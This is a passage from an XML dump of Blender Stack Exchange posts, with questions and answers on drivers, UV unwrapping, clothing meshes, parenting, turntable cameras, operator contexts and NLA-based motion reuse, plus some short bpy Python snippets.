bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            context = bpy.context.copy()&#xA;            context['area'] = area&#xA;            bpy.ops.view3d.modal_operator(context, 'INVOKE_DEFAULT')&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-13T13:23:07.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35645" PostTypeId="2" ParentId="35640" CreationDate="2015-08-13T13:35:07.453" Score="4" Body="&lt;p&gt;This is a classic case for using drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drivers are a bit tricky to master BEFORE you know what they're good for, but your case describes a very good example for their use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drivers allow you to use one property (or several) to &lt;strong&gt;drive&lt;/strong&gt; another. There are several types of drivers, one of which is an expression where you can use arithmetic operators and mathematical functions. This is really useful when you want to create offset / inverted / factored relationship between the driving and driven properties (which seems to be what you are looking for. For instance advance 2 units in object1.location.y for each unit of object2.location.x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be rather cumbersome to explain how to create and manipulate drivers here in text, but there are quite a few excellent video tutorials (&lt;a href=&quot;https://www.youtube.com/watch?v=mmqdx7BqBKU&quot; rel=&quot;nofollow noreferrer&quot;&gt;such as this one&lt;/a&gt;) that will get you quickly acquainted with drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've grasped how to add and manipulate drivers via the UI, you can &lt;a href=&quot;https://blender.stackexchange.com/questions/21474/how-to-add-a-driver-via-python&quot;&gt;automate the process via python&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-08-13T13:35:07.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35646" PostTypeId="1" AcceptedAnswerId="35663" CreationDate="2015-08-13T13:40:06.720" Score="2" ViewCount="62" Body="&lt;p&gt;I unwraped the object, added texture to it. But now I'd like to add some more detail the object. Tried to select only the new geometry and select &quot;Smart unwraped&quot; but the work of unwraping it didnt show in UV image editor.&#xA;Here's blend. file: &#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/414/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=414&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16261" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-08-13T18:05:57.803" Title="Can't unwrap new geometry added to the already unwraped object!" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35647" PostTypeId="2" ParentId="35633" CreationDate="2015-08-13T14:10:17.907" Score="5" Body="&lt;p&gt;While in &lt;em&gt;Edit Mode&lt;/em&gt;, you have the ability to limit the kinds of selections that your cursor can make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HclMm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HclMm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I took this screenshot it was set to &lt;em&gt;Vertex selection&lt;/em&gt; mode here, the two others are &lt;em&gt;Edge selection&lt;/em&gt; and &lt;em&gt;Face selection&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When in Vertex selection mode you can't pick edges or faces directly.&lt;/li&gt;&#xA;&lt;li&gt;When in Edge selection mode you can't pick vertices or faces directly.&lt;/li&gt;&#xA;&lt;li&gt;When in Face selection mode you can't pick edges or vertices directly, as a consequence this prevents edge loops from being selected&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can have multiple modes active at the same time, which can be handy, by holding down shift and click on the icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nqGQu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nqGQu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-08-13T14:10:17.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35648" PostTypeId="1" AcceptedAnswerId="35651" CreationDate="2015-08-13T14:36:10.320" Score="3" ViewCount="910" Body="&lt;p&gt;I'm not entirely sure how specific I can be, but i need help with adding cloths to my character. Every tutorial I've seen so far are all tight fit clothing so it just looks like everyone is wearing under armor. I want to learn how to make it a bit more baggy, especially the pants. Is there anyone who can help me?&lt;/p&gt;&#xA;" OwnerUserId="15223" LastActivityDate="2015-08-13T15:07:38.697" Title="Need help with clothing my character mesh" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35649" PostTypeId="1" AcceptedAnswerId="35654" CreationDate="2015-08-13T14:40:31.760" Score="3" ViewCount="1249" Body="&lt;p&gt;I am curious as to what the line in the middle of the screen could be.&lt;/p&gt;&#xA;&lt;p&gt;When I move the dot on the bottom of this dashed line it moves my mesh, this line moves along with it.&lt;/p&gt;&#xA;&lt;p&gt;Also in the middle of the screen there's another dot. It move my armature.&lt;/p&gt;&#xA;&lt;p&gt;I'm trying to do an animation with this mesh but I can't figure what the correct way to do it with an animation and a mesh would be?&lt;/p&gt;&#xA;&lt;p&gt;Here's an image: &lt;a href=&quot;https://i.stack.imgur.com/eumzT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eumzT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastEditorUserId="111476" LastEditDate="2021-03-19T10:09:41.637" LastActivityDate="2021-03-19T10:09:41.637" Title="What is this line in the middle of my blender screen?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35650" PostTypeId="2" ParentId="35640" CreationDate="2015-08-13T14:54:54.163" Score="4" Body="&lt;p&gt;First off, a big shoutout to &lt;a href=&quot;https://blender.stackexchange.com/users/15861/tlousky&quot;&gt;TLousky&lt;/a&gt; who provided an equally valid answer. It just happens that I didn't go down that route...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up installing &lt;a href=&quot;http://animation-nodes-documentation.readthedocs.org/en/latest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jacques Lucke's Animation Nodes add-on&lt;/a&gt; which provides a really nice way to do this visually within the Node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are screenshots of my set-up - for the specific scenario I needed with 3 points on a graph (each offset by a set time) which are then projected in three dimensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I offset my 'master' object (Sphere-X) which is animated to follow a 2D plot (graph). Sphere-X moves up and down on the Z-axis as it travels to the right on the X-axis. So in the first node tree below, the two slave objects  (Sphere-Y and Sphere-Z) follow the same X and Z transformations but each is offset by a set number of frames:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nZtdb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZtdb.png&quot; alt=&quot;First Node editor tree for time offset&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then a fourth object (point_inCube) moves in 3 dimensions using the z co-ordinates of Sphere-X for its z location (that's the Copy Transforms node at the top) then Sphere-Y and Sphere-Z are each used to provide the other co-ordinate axis (but note the use of the Separate Vector nodes to swap from one axis to another):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XVibT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVibT.png&quot; alt=&quot;second node editor tree for 3D projection&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll definitely investigate Drivers further (thanks again &lt;a href=&quot;https://blender.stackexchange.com/users/15861/tlousky&quot;&gt;TLousky&lt;/a&gt;) but this solution works well for me as I'm from a music background and it reminds me a lot of setting up a patch on a modular synth!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. &#xA;This is the slightly different but related answer which helped me on my way towards using Animation Nodes instead of Drivers:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/23417/change-color-with-object-rotation/23841#23841&quot;&gt;Change color with object rotation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-13T14:54:54.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35651" PostTypeId="2" ParentId="35648" CreationDate="2015-08-13T15:07:38.697" Score="4" Body="&lt;p&gt;Lets see if this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MGP8o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MGP8o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all the faces of the mesh your want to make clothes for.&#xA;I did face select, then i highlighted all the faces. (Photo above)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rUmBC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rUmBC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Duplicate that mesh by hitting 'Shift + D', then press 'enter'. After this you want to scale the mesh by going to your tools manu and hitting the 'scale', 'shrink/fatten', or 'push/pull' tab. (photo above and below)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/q6z17.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q6z17.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;To make the mesh &quot;baggy&quot; or thicker you can add a modifier like 'solidify'. (photo below)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oHoIl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oHoIl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;change the 'thickness' value to get the desired results. (photo below)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JQdtm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JQdtm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;these were my results.(photo below)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UML1i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UML1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Thats it! now just shape your clothes to the desired shape and/or add a subdivision surface modifier to make it smoother. Then if you want you can sculpt the clothing, but thats all up to you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-13T15:07:38.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35652" PostTypeId="1" CreationDate="2015-08-13T15:19:52.267" Score="5" ViewCount="936" Body="&lt;p&gt;I need to render an object and get a 360 degree view. I plan to do this by taking pictures from atleast 36 cameras, at 10 degree separation to give a 360 degree view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have several objects, I dont want to this manually. I am thinking to write a script to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better alternative to do it, other than writing a script? Some way if I can do it manually in a much faster way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5473" LastActivityDate="2015-08-13T16:18:11.733" Title="Need to get a 360 view of the object using cameras" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35653" PostTypeId="1" AcceptedAnswerId="35658" CreationDate="2015-08-13T15:26:21.863" Score="4" ViewCount="973" Body="&lt;p&gt;Seems that this question &lt;a href=&quot;https://blender.stackexchange.com/questions/21635/how-can-i-find-out-what-an-operator-requires-from-context&quot;&gt;was asked before but was not answered&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already found &lt;a href=&quot;https://blender.stackexchange.com/questions/6101/poll-failed-context-incorrect-example-bpy-ops-view3d-background-image-add&quot;&gt;this answer&lt;/a&gt;, where it was suggested that if you send an empty dictionary as override, it's supposed to show you what context elements are required to run the operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this didn't work for the operator I'm interested in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.cycles.use_shading_nodes({})&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\bpy\ops.py&quot;, line 187, in __call__&#xA;    ret = op_call(self.idname_py(), C_dict, kw, C_exec, C_undo)&#xA;RuntimeError: Operator bpy.ops.mesh.select_all.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is, is there a &lt;em&gt;reliable&lt;/em&gt; way to find out what the required context is for an operator? (The docs are no help here. Source might be, but I'd rather avoid that search for a needle in a haystack unless I'm really desperate...)&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-14T10:05:56.043" Title="Reliable way to find out the required context for an operator?" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35654" PostTypeId="2" ParentId="35649" CreationDate="2015-08-13T15:34:32.667" Score="4" Body="&lt;p&gt;(from the &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/transformations/transform_control/pivot_point/individual_origins.html?highlight=origin&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;The Origin of an Object is shown in the 3D view by a &lt;strong&gt;small orange circle&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While the Origin is equivalent to the center of the Object, it does not have to be located in the center of the Mesh. This means that an Object can have its center located on one end of the mesh or even completely outside the mesh.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That &lt;strong&gt;dotted line&lt;/strong&gt; means that an object is parented to other object.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Moving, rotating or scaling the parent will also usually move/rotate/scale the child/children. However moving/rotating/scaling the child/children of the parent will not result in the parent moving/rotating/scaling. In other words, the direction of influence is from parent to child and not child to parent.&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Read this: &lt;a href=&quot;https://www.blender.org/manual/modeling/objects/groups_and_parenting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/modeling/objects/groups_and_parenting.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-13T16:04:28.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35655" PostTypeId="2" ParentId="35652" CreationDate="2015-08-13T15:38:00.947" Score="7" Body="&lt;h2&gt;Animate a single camera&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Parent your camera to an empty placed in the rotation pivot point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/waVij.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/waVij.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the camera should follow the rotation of his parent object using its origin as pivot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than insert two keyframe to the empty's Z-rotation channel in 0,0 and in 36,360 to animate the rotation through time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mhw64.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mhw64.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to set the interpolation mode of your keyframes to linear if you want a constant angular velocity and to set the final render frame range to 35 as the 36th is the same as the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LT47p.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LT47p.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set png, jpeg ... an image, non video, format in the output tab and than pressing Render Animation button you'll get each frame rendered individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: if it is suitable for your scene, you can also think about rotating the object(s), instead of the camera.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-13T16:18:11.733" LastActivityDate="2015-08-13T16:18:11.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35656" PostTypeId="2" ParentId="35649" CreationDate="2015-08-13T15:40:11.580" Score="2" Body="&lt;p&gt;The dots represent the center points of objects.  The one that moves your mesh is the center point of the mesh and the one that moves the armature is the center point of the armature.  The dotted line on the mesh center point shows that it is parented to something (in this case the armature).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably moved the mesh and armature in edit or pose mode and that is why the center points are not actually in the center of the objects.&lt;/p&gt;&#xA;" OwnerUserId="16131" LastActivityDate="2015-08-13T15:40:11.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35657" PostTypeId="2" ParentId="12140" CreationDate="2015-08-13T15:46:57.737" Score="1" Body="&lt;p&gt;You can use a conditional if statement in the Driver expression which waits for a specific frame number before evaluating as true. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, here a Camera is tracking an object (Sphere-X) based on a Driver but I don't want this to kick in until frame 130 (until then I want the camera to stay at 200 on the x-axis):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5lQ19.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5lQ19.png&quot; alt=&quot;Delayed driver&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the expression: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var if frame&amp;gt;130 else 200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on a ternary conditional operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;valueIfTrue if isConditionTrue else valueIfFalse&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16168" LastActivityDate="2015-08-13T15:46:57.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35658" PostTypeId="2" ParentId="35653" CreationDate="2015-08-13T16:04:52.323" Score="4" Body="&lt;p&gt;Asking for a way to find the context for all possible operators that need such an override is at the same time ignoring all the responses to people looking for their specific override for their needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As is often the case with 'context is incorrect', there is a solution that's much simpler and (more) logical than the potential workaround using context overrides. While most operators can take an override context, you will invariably (if you dig deep enough) find several that can't. You will also find operators which are the only way to achieve some goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all other cases where there's a better way to do it without the operator in question, you simply use the lower level bpy code. Ask, we will always give an answer, or dig using the Info console and track the changes in &lt;code&gt;bpy.data&lt;/code&gt; to see what got added and which parameters are adjusted after a manual Operator invoke (ie you click a button, and that calls the operator in question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sometimes a context override is the only way, but not this time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a new world material.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; m = bpy.data.worlds.new('amazon')&#xA;&amp;gt;&amp;gt;&amp;gt; m.use_nodes = True&#xA;&amp;gt;&amp;gt;&amp;gt; m.node_tree&#xA;bpy.data.node_groups['Shader Nodetree']&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; m.node_tree.nodes['Background'].color&#xA;Color((0.608, 0.608, 0.608))&#xA;&#xA;# setting current scene world&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.context.scene.world = bpy.data.worlds['amazon']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-14T10:05:56.043" LastActivityDate="2015-08-14T10:05:56.043" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35659" PostTypeId="1" CreationDate="2015-08-13T17:05:35.560" Score="2" ViewCount="1613" Body="&lt;p&gt;When I link animation data of a cube to a sphere and animate, cube snaps to the sphere's location and take the same path while moving! How to link while keeping cube's original location?&lt;/p&gt;&#xA;" OwnerUserId="7894" LastActivityDate="2015-08-13T18:55:33.890" Title="How to link animation of object A to object B while keeping A's original location?" Tags="&lt;animation&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35660" PostTypeId="2" ParentId="35659" CreationDate="2015-08-13T17:18:38.547" Score="1" Body="&lt;p&gt;Once you link the two objects, click on the cube and move to where you want or its original location. Then use the sphere to control both of their locations together.&#xA;hope this was helpful!&#xA;-Noah&lt;/p&gt;&#xA;" OwnerUserId="16191" LastEditorUserId="5505" LastEditDate="2015-08-13T18:55:33.890" LastActivityDate="2015-08-13T18:55:33.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35661" PostTypeId="2" ParentId="27666" CreationDate="2015-08-13T17:27:08.007" Score="-1" Body="&lt;p&gt;if the boxes are inside of another object in the simulation Ex. inside another cube the boxes will instantly fly away from each other.&lt;/p&gt;&#xA;" OwnerUserId="16191" LastActivityDate="2015-08-13T17:27:08.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35662" PostTypeId="2" ParentId="35659" CreationDate="2015-08-13T17:41:17.293" Score="2" Body="&lt;p&gt;One way to recycle motion without having the objects overlap is to use NLAs.  This is not exactly trivial.  You have to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;place the action inside an action strip &lt;/li&gt;&#xA;&lt;li&gt;put a location keyframe on the second object&lt;/li&gt;&#xA;&lt;li&gt;change the action strip blending mode from Replace to Add&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another strategy would be to make the second object a child of an Empty or other object.  You can adjust the location of the parent to set the origin of the modified coordinate system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following screenshot you can see the lower left window is the NLA editor illustrating that Cube.001 has one NlaTrack with the shared action, and its primary action is the offset keyframe.  The action strip has its Blending set to Add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the upper right outliner window you can see Cube.002 is parented to an Empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FenGo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FenGo.png&quot; alt=&quot;various techniques for sharing motion but altering location&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-08-13T17:41:17.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35663" PostTypeId="2" ParentId="35646" CreationDate="2015-08-13T18:05:57.803" Score="3" Body="&lt;p&gt;&lt;em&gt;You didn't pack the texture with the file so I wasn't able to check where they were assigned to...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...anyway, by unchecking the UV local view box, you should be able to Unwrap and see the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KCgCj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCgCj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That option is not well integrated in Cycles, while it is often useful in Blender Render. Developers talk about it in this &lt;a href=&quot;https://developer.blender.org/T43042&quot; rel=&quot;nofollow noreferrer&quot;&gt;review&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-13T18:05:57.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35664" PostTypeId="2" ParentId="35601" CreationDate="2015-08-13T18:16:10.980" Score="1" Body="&lt;p&gt;I don't have any experience the terminal, but you might be able to achieve the same effect by using Steam. Blender can be downloaded for linux on Steam, which should setup a desktop icon as well.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kupUr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kupUr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I hope this helps, my experience with linux is rather limited (:&lt;/p&gt;&#xA;" OwnerUserId="7537" LastActivityDate="2015-08-13T18:16:10.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35665" PostTypeId="1" AcceptedAnswerId="35669" CreationDate="2015-08-13T18:55:05.087" Score="2" ViewCount="140" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MjNBO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjNBO.jpg&quot; alt=&quot;This is the object that has a value of UVMap.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WH8JE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WH8JE.jpg&quot; alt=&quot;This picture has a value of UVTex.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I try to join the objects together, the UV Map is entirely messed up, to the point where all of my objects' faces are one vertex.  Should I not join the two right now, and do it later, or should I find a way to get the value to be the same for both.  If someone could give me some advice as to what to do here, that'd be great.  Thanks! (I use cycles render.)&lt;/p&gt;&#xA;" OwnerUserId="16399" LastActivityDate="2015-08-13T20:08:28.520" Title="I have two objects, and in UV Mapping, one has a value of UVTex, while another has UVMap" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35666" PostTypeId="1" AcceptedAnswerId="35808" CreationDate="2015-08-13T19:21:11.397" Score="6" ViewCount="2715" Body="&lt;p&gt;In Blender 2.75a, I'm making a render using &lt;strong&gt;Cycles&lt;/strong&gt; and the &lt;strong&gt;Freestyle&lt;/strong&gt; pass. My scene contains a mesh with a &lt;em&gt;smoke&lt;/em&gt; modifier that I'm rendering through a &lt;a href=&quot;http://www.blender.org/manual/render/cycles/materials/volume.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;volumetric shader&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The boundaries of this mesh (the box, in the example below) are meaningless to the extents of the render, therefore the mesh should neither have its edges drawn by &lt;em&gt;freestyle&lt;/em&gt; nor cover the lines of the things behind or inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it's possible to tell &lt;em&gt;freestyle&lt;/em&gt; to completely ignore the mesh, and how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what happens if I render a sample scene with cycles+freestyle+volumetric rendering and without further 